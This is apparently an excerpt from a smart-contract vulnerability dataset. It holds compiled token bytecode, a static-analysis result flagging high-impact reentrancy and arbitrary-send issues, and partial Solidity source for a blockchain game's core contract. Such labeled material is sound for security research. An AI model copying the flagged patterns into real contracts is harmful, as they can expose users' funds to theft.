ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b40565b9050919050565b6109c4611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890612bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f52454c4158000000000000000000000000000000000000000000000000000000815250905090565b6000610b89610b82611296565b8484611469565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd4611296565b73ffffffffffffffffffffffffffffffffffffffff1614610bf457600080fd5b6000610bff3061096b565b9050610c0a81611bae565b50565b610c15611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9990612bad565b60405180910390fd5b601060149054906101000a900460ff1615610cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce990612c19565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d8130600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061129e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc757600080fd5b505afa158015610ddb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dff9190612c4e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6157600080fd5b505afa158015610e75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e999190612c4e565b6040518363ffffffff1660e01b8152600401610eb6929190612c7b565b602060405180830381600087803b158015610ed057600080fd5b505af1158015610ee4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f089190612c4e565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f913061096b565b600080610f9c610b0f565b426040518863ffffffff1660e01b8152600401610fbe96959493929190612ce9565b6060604051808303818588803b158015610fd757600080fd5b505af1158015610feb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110109190612d5f565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555066b1a2bc2ec500006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611111929190612db2565b602060405180830381600087803b15801561112b57600080fd5b505af115801561113f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111639190612df0565b5050565b6000600c54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111d8611296565b73ffffffffffffffffffffffffffffffffffffffff16146111f857600080fd5b600a811061120557600080fd5b80600c8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590612e8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612f21565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145c91906126d1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090612fb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090613045565b60405180910390fd5b6000811161158c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611583906130d7565b60405180910390fd5b6002600a81905550600c54600b819055506115a5610b0f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161357506115e3610b0f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116bc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116c557600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117705750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117c65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117de5750601060179054906101000a900460ff165b1561188e576011548111156117f257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061183d57600080fd5b60284261184a91906130f7565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119395750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561198f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a6576002600a81905550600c54600b819055505b60006119b13061096b565b9050601060159054906101000a900460ff16158015611a1e5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a365750601060169054906101000a900460ff165b15611a5e57611a4481611bae565b60004790506000811115611a5c57611a5b47611ad4565b5b505b505b611a6b838383611e36565b505050565b6000838311158290611ab8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaf9190612582565b60405180910390fd5b5060008385611ac7919061314d565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b3c573d6000803e3d6000fd5b5050565b6000600854821115611b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7e906131f3565b60405180910390fd5b6000611b91611e46565b9050611ba68184611e7190919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611be657611be561271e565b5b604051908082528060200260200182016040528015611c145781602001602082028036833780820191505090505b5090503081600081518110611c2c57611c2b612ae9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cce57600080fd5b505afa158015611ce2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d069190612c4e565b81600181518110611d1a57611d19612ae9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d8130600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129e565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611de59594939291906132d1565b600060405180830381600087803b158015611dff57600080fd5b505af1158015611e13573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b611e41838383611ebb565b505050565b6000806000611e53612086565b91509150611e6a8183611e7190919063ffffffff16565b9250505090565b6000611eb383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e5565b905092915050565b600080600080600080611ecd87612148565b955095509550955095509550611f2b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fc085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121fa90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200c81612258565b6120168483612315565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161207391906126d1565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506120ba670de0b6b3a7640000600854611e7190919063ffffffff16565b8210156120d857600854670de0b6b3a76400009350935050506120e1565b81819350935050505b9091565b6000808311829061212c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121239190612582565b60405180910390fd5b506000838561213b919061335a565b9050809150509392505050565b60008060008060008060008060006121658a600a54600b5461234f565b9250925092506000612175611e46565b905060008060006121888e8787876123e5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006121f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a70565b905092915050565b600080828461220991906130f7565b90508381101561224e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612245906133d7565b60405180910390fd5b8091505092915050565b6000612262611e46565b90506000612279828461246e90919063ffffffff16565b90506122cd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121fa90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61232a826008546121b090919063ffffffff16565b600881905550612345816009546121fa90919063ffffffff16565b6009819055505050565b60008060008061237b606461236d888a61246e90919063ffffffff16565b611e7190919063ffffffff16565b905060006123a56064612397888b61246e90919063ffffffff16565b611e7190919063ffffffff16565b905060006123ce826123c0858c6121b090919063ffffffff16565b6121b090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123fe858961246e90919063ffffffff16565b90506000612415868961246e90919063ffffffff16565b9050600061242c878961246e90919063ffffffff16565b905060006124558261244785876121b090919063ffffffff16565b6121b090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561248157600090506124e3565b6000828461248f9190612a8f565b905082848261249e919061335a565b146124de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d590613469565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612523578082015181840152602081019050612508565b83811115612532576000848401525b50505050565b6000601f19601f8301169050919050565b6000612554826124e9565b61255e81856124f4565b935061256e818560208601612505565b61257781612538565b840191505092915050565b6000602082019050818103600083015261259c8184612549565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125e3826125b8565b9050919050565b6125f3816125d8565b81146125fe57600080fd5b50565b600081359050612610816125ea565b92915050565b6000819050919050565b61262981612616565b811461263457600080fd5b50565b60008135905061264681612620565b92915050565b60008060408385031215612663576126626125ae565b5b600061267185828601612601565b925050602061268285828601612637565b9150509250929050565b60008115159050919050565b6126a18161268c565b82525050565b60006020820190506126bc6000830184612698565b92915050565b6126cb81612616565b82525050565b60006020820190506126e660008301846126c2565b92915050565b600060208284031215612702576127016125ae565b5b600061271084828501612637565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61275682612538565b810181811067ffffffffffffffff821117156127755761277461271e565b5b80604052505050565b60006127886125a4565b9050612794828261274d565b919050565b600067ffffffffffffffff8211156127b4576127b361271e565b5b602082029050602081019050919050565b600080fd5b60006127dd6127d884612799565b61277e565b90508083825260208201905060208402830185811115612800576127ff6127c5565b5b835b8181101561282957806128158882612601565b845260208401935050602081019050612802565b5050509392505050565b600082601f83011261284857612847612719565b5b81356128588482602086016127ca565b91505092915050565b600060208284031215612877576128766125ae565b5b600082013567ffffffffffffffff811115612895576128946125b3565b5b6128a184828501612833565b91505092915050565b6000806000606084860312156128c3576128c26125ae565b5b60006128d186828701612601565b93505060206128e286828701612601565b92505060406128f386828701612637565b9150509250925092565b600060208284031215612913576129126125ae565b5b600061292184828501612601565b91505092915050565b600060ff82169050919050565b6129408161292a565b82525050565b600060208201905061295b6000830184612937565b92915050565b61296a8161268c565b811461297557600080fd5b50565b60008135905061298781612961565b92915050565b6000602082840312156129a3576129a26125ae565b5b60006129b184828501612978565b91505092915050565b6129c3816125d8565b82525050565b60006020820190506129de60008301846129ba565b92915050565b60006129ef826125b8565b9050919050565b6129ff816129e4565b82525050565b6000602082019050612a1a60008301846129f6565b92915050565b60008060408385031215612a3757612a366125ae565b5b6000612a4585828601612601565b9250506020612a5685828601612601565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a9a82612616565b9150612aa583612616565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ade57612add612a60565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612b2382612616565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b5657612b55612a60565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b976020836124f4565b9150612ba282612b61565b602082019050919050565b60006020820190508181036000830152612bc681612b8a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612c036017836124f4565b9150612c0e82612bcd565b602082019050919050565b60006020820190508181036000830152612c3281612bf6565b9050919050565b600081519050612c48816125ea565b92915050565b600060208284031215612c6457612c636125ae565b5b6000612c7284828501612c39565b91505092915050565b6000604082019050612c9060008301856129ba565b612c9d60208301846129ba565b9392505050565b6000819050919050565b6000819050919050565b6000612cd3612cce612cc984612ca4565b612cae565b612616565b9050919050565b612ce381612cb8565b82525050565b600060c082019050612cfe60008301896129ba565b612d0b60208301886126c2565b612d186040830187612cda565b612d256060830186612cda565b612d3260808301856129ba565b612d3f60a08301846126c2565b979650505050505050565b600081519050612d5981612620565b92915050565b600080600060608486031215612d7857612d776125ae565b5b6000612d8686828701612d4a565b9350506020612d9786828701612d4a565b9250506040612da886828701612d4a565b9150509250925092565b6000604082019050612dc760008301856129ba565b612dd460208301846126c2565b9392505050565b600081519050612dea81612961565b92915050565b600060208284031215612e0657612e056125ae565b5b6000612e1484828501612ddb565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e796024836124f4565b9150612e8482612e1d565b604082019050919050565b60006020820190508181036000830152612ea881612e6c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f0b6022836124f4565b9150612f1682612eaf565b604082019050919050565b60006020820190508181036000830152612f3a81612efe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f9d6025836124f4565b9150612fa882612f41565b604082019050919050565b60006020820190508181036000830152612fcc81612f90565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061302f6023836124f4565b915061303a82612fd3565b604082019050919050565b6000602082019050818103600083015261305e81613022565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130c16029836124f4565b91506130cc82613065565b604082019050919050565b600060208201905081810360008301526130f0816130b4565b9050919050565b600061310282612616565b915061310d83612616565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314257613141612a60565b5b828201905092915050565b600061315882612616565b915061316383612616565b92508282101561317657613175612a60565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006131dd602a836124f4565b91506131e882613181565b604082019050919050565b6000602082019050818103600083015261320c816131d0565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613248816125d8565b82525050565b600061325a838361323f565b60208301905092915050565b6000602082019050919050565b600061327e82613213565b613288818561321e565b93506132938361322f565b8060005b838110156132c45781516132ab888261324e565b97506132b683613266565b925050600181019050613297565b5085935050505092915050565b600060a0820190506132e660008301886126c2565b6132f36020830187612cda565b81810360408301526133058186613273565b905061331460608301856129ba565b61332160808301846126c2565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061336582612616565b915061337083612616565b9250826133805761337f61332b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006133c1601b836124f4565b91506133cc8261338b565b602082019050919050565b600060208201905081810360008301526133f0816133b4565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134536021836124f4565b915061345e826133f7565b604082019050919050565b6000602082019050818103600083015261348281613446565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079af05e38d6cb8d8b4e9138acc503906834b710b063664b5471a2a895a45fc5164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,053 |
0x689fb61845488297dfe7586e5f7956475955d2dc
|
/*
https://mycryptochamp.io/
<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="e088858c8c8fa08d9983929990948f8388818d90ce898f">[email protected]</a>
*/
pragma solidity 0.4.24;
contract Controller{
function getChampReward(uint _position) public view returns(uint);
function changeChampsName(uint _champId, string _name, address _msgsender) external;
function withdrawChamp(uint _id, address _msgsender) external;
function attack(uint _champId, uint _targetId, address _msgsender) external;
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) external;
function cancelTokenSale(uint _id, address _msgsender, bool _isTokenChamp) public;
function giveToken(address _to, uint _id, address _msgsender, bool _isTokenChamp) external;
function setTokenForSale(uint _id, uint _price, address _msgsender, bool _isTokenChamp) external;
function getTokenURIs(uint _id, bool _isTokenChamp) public pure returns(string);
function takeOffItem(uint _champId, uint8 _type, address _msgsender) public;
function putOn(uint _champId, uint _itemId, address _msgsender) external;
function forgeItems(uint _parentItemID, uint _childItemID, address _msgsender) external;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
/// @title MyCryptoChamp Core - Stores all of game data. Functions are stored in the replaceable contracts. This solution was required in order to avoid unexpected bugs and make game upgradeable.
/// @author Patrik Mojzis
contract MyCryptoChampCore {
using SafeMath for uint;
struct Champ {
uint id; //same as position in Champ[]
uint attackPower;
uint defencePower;
uint cooldownTime; //how long does it take to be able attack again
uint readyTime; //if is smaller than block.timestamp champ is ready to fight
uint winCount;
uint lossCount;
uint position; //subtract 1 and you get position in leaderboard[]
uint price; //sale price
uint withdrawCooldown; //if you one of the 800 best champs and withdrawCooldown is less as block.timestamp then you get ETH reward
uint eq_sword;
uint eq_shield;
uint eq_helmet;
bool forSale; //is champ for sale?
}
struct AddressInfo {
uint withdrawal;
uint champsCount;
uint itemsCount;
string name;
}
//Item struct
struct Item {
uint id;
uint8 itemType; // 1 - Sword | 2 - Shield | 3 - Helmet
uint8 itemRarity; // 1 - Common | 2 - Uncommon | 3 - Rare | 4 - Epic | 5 - Legendery | 6 - Forged
uint attackPower;
uint defencePower;
uint cooldownReduction;
uint price;
uint onChampId; //can not be used to decide if item is on champ, because champ's id can be 0, 'bool onChamp' solves it.
bool onChamp;
bool forSale; //is item for sale?
}
Champ[] public champs;
Item[] public items;
mapping (uint => uint) public leaderboard;
mapping (address => bool) private trusted;
mapping (address => AddressInfo) public addressInfo;
mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals;
mapping (bool => mapping(uint => address)) public tokenApprovals;
mapping (bool => mapping(uint => address)) public tokenToOwner;
mapping (uint => string) public champToName;
mapping (bool => uint) public tokensForSaleCount;
uint public pendingWithdrawal = 0;
address private contractOwner;
Controller internal controller;
constructor () public
{
trusted[msg.sender] = true;
contractOwner = msg.sender;
}
/*============== MODIFIERS ==============*/
modifier onlyTrusted(){
require(trusted[msg.sender]);
_;
}
modifier isPaid(uint _price)
{
require(msg.value >= _price);
_;
}
modifier onlyNotOwnerOfItem(uint _itemId) {
require(_itemId != 0);
require(msg.sender != tokenToOwner[false][_itemId]);
_;
}
modifier isItemForSale(uint _id){
require(items[_id].forSale);
_;
}
modifier onlyNotOwnerOfChamp(uint _champId)
{
require(msg.sender != tokenToOwner[true][_champId]);
_;
}
modifier isChampForSale(uint _id)
{
require(champs[_id].forSale);
_;
}
/*============== CONTROL COTRACT ==============*/
function loadController(address _address) external onlyTrusted {
controller = Controller(_address);
}
function setTrusted(address _address, bool _trusted) external onlyTrusted {
trusted[_address] = _trusted;
}
function transferOwnership(address newOwner) public onlyTrusted {
require(newOwner != address(0));
contractOwner = newOwner;
}
/*============== PRIVATE FUNCTIONS ==============*/
function _addWithdrawal(address _address, uint _amount) private
{
addressInfo[_address].withdrawal += _amount;
pendingWithdrawal += _amount;
}
/// @notice Distribute input funds between contract owner and players
function _distributeNewSaleInput(address _affiliateAddress) private
{
//contract owner
_addWithdrawal(contractOwner, ((msg.value / 100) * 60)); // 60%
//affiliate
//checks if _affiliateAddress is set & if affiliate address is not buying player
if(_affiliateAddress != address(0) && _affiliateAddress != msg.sender){
_addWithdrawal(_affiliateAddress, ((msg.value / 100) * 25)); //provision is 25%
}
}
/*============== ONLY TRUSTED ==============*/
function addWithdrawal(address _address, uint _amount) public onlyTrusted
{
_addWithdrawal(_address, _amount);
}
function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public onlyTrusted
{
require(tokenToOwner[_isTokenChamp][_tokenId] == _from);
if (tokenApprovals[_isTokenChamp][_tokenId] != address(0)) {
tokenApprovals[_isTokenChamp][_tokenId] = address(0);
}
}
function emergencyWithdraw() external onlyTrusted
{
contractOwner.transfer(address(this).balance);
}
function setChampsName(uint _champId, string _name) public onlyTrusted
{
champToName[_champId] = _name;
}
function setLeaderboard(uint _x, uint _value) public onlyTrusted
{
leaderboard[_x] = _value;
}
function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public onlyTrusted
{
tokenApprovals[_isTokenChamp][_id] = _to;
}
function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public onlyTrusted
{
tokenOperatorApprovals[_isTokenChamp][_from][_to] = _approved;
}
function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public onlyTrusted
{
tokenToOwner[_isTokenChamp][_id] = _owner;
}
function setTokensForSaleCount(uint _value, bool _isTokenChamp) public onlyTrusted
{
tokensForSaleCount[_isTokenChamp] = _value;
}
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public onlyTrusted
{
controller.transferToken(_from, _to, _id, _isTokenChamp);
}
function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public onlyTrusted {
AddressInfo storage ai = addressInfo[_address];
if(_updatePendingWithdrawal){ ai.withdrawal = _withdrawal; }
if(_updateChampsCount){ ai.champsCount = _champsCount; }
if(_updateItemsCount){ ai.itemsCount = _itemsCount; }
if(_updateName){ ai.name = _name; }
}
function newChamp(
uint _attackPower,
uint _defencePower,
uint _cooldownTime,
uint _winCount,
uint _lossCount,
uint _position,
uint _price,
uint _eq_sword,
uint _eq_shield,
uint _eq_helmet,
bool _forSale,
address _owner
) public onlyTrusted returns (uint){
Champ memory champ = Champ({
id: 0,
attackPower: 0, //CompilerError: Stack too deep, try removing local variables.
defencePower: _defencePower,
cooldownTime: _cooldownTime,
readyTime: 0,
winCount: _winCount,
lossCount: _lossCount,
position: _position,
price: _price,
withdrawCooldown: 0,
eq_sword: _eq_sword,
eq_shield: _eq_shield,
eq_helmet: _eq_helmet,
forSale: _forSale
});
champ.attackPower = _attackPower;
uint id = champs.push(champ) - 1;
champs[id].id = id;
leaderboard[_position] = id;
addressInfo[_owner].champsCount++;
tokenToOwner[true][id] = _owner;
if(_forSale){
tokensForSaleCount[true]++;
}
return id;
}
function newItem(
uint8 _itemType,
uint8 _itemRarity,
uint _attackPower,
uint _defencePower,
uint _cooldownReduction,
uint _price,
uint _onChampId,
bool _onChamp,
bool _forSale,
address _owner
) public onlyTrusted returns (uint)
{
//create that struct
Item memory item = Item({
id: 0,
itemType: _itemType,
itemRarity: _itemRarity,
attackPower: _attackPower,
defencePower: _defencePower,
cooldownReduction: _cooldownReduction,
price: _price,
onChampId: _onChampId,
onChamp: _onChamp,
forSale: _forSale
});
uint id = items.push(item) - 1;
items[id].id = id;
addressInfo[_owner].itemsCount++;
tokenToOwner[false][id] = _owner;
if(_forSale){
tokensForSaleCount[false]++;
}
return id;
}
function updateChamp(
uint _champId,
uint _attackPower,
uint _defencePower,
uint _cooldownTime,
uint _readyTime,
uint _winCount,
uint _lossCount,
uint _position,
uint _price,
uint _withdrawCooldown,
uint _eq_sword,
uint _eq_shield,
uint _eq_helmet,
bool _forSale
) public onlyTrusted {
Champ storage champ = champs[_champId];
if(champ.attackPower != _attackPower){champ.attackPower = _attackPower;}
if(champ.defencePower != _defencePower){champ.defencePower = _defencePower;}
if(champ.cooldownTime != _cooldownTime){champ.cooldownTime = _cooldownTime;}
if(champ.readyTime != _readyTime){champ.readyTime = _readyTime;}
if(champ.winCount != _winCount){champ.winCount = _winCount;}
if(champ.lossCount != _lossCount){champ.lossCount = _lossCount;}
if(champ.position != _position){
champ.position = _position;
leaderboard[_position] = _champId;
}
if(champ.price != _price){champ.price = _price;}
if(champ.withdrawCooldown != _withdrawCooldown){champ.withdrawCooldown = _withdrawCooldown;}
if(champ.eq_sword != _eq_sword){champ.eq_sword = _eq_sword;}
if(champ.eq_shield != _eq_shield){champ.eq_shield = _eq_shield;}
if(champ.eq_helmet != _eq_helmet){champ.eq_helmet = _eq_helmet;}
if(champ.forSale != _forSale){
champ.forSale = _forSale;
if(_forSale){
tokensForSaleCount[true]++;
}else{
tokensForSaleCount[true]--;
}
}
}
function updateItem(
uint _id,
uint8 _itemType,
uint8 _itemRarity,
uint _attackPower,
uint _defencePower,
uint _cooldownReduction,
uint _price,
uint _onChampId,
bool _onChamp,
bool _forSale
) public onlyTrusted
{
Item storage item = items[_id];
if(item.itemType != _itemType){item.itemType = _itemType;}
if(item.itemRarity != _itemRarity){item.itemRarity = _itemRarity;}
if(item.attackPower != _attackPower){item.attackPower = _attackPower;}
if(item.defencePower != _defencePower){item.defencePower = _defencePower;}
if(item.cooldownReduction != _cooldownReduction){item.cooldownReduction = _cooldownReduction;}
if(item.price != _price){item.price = _price;}
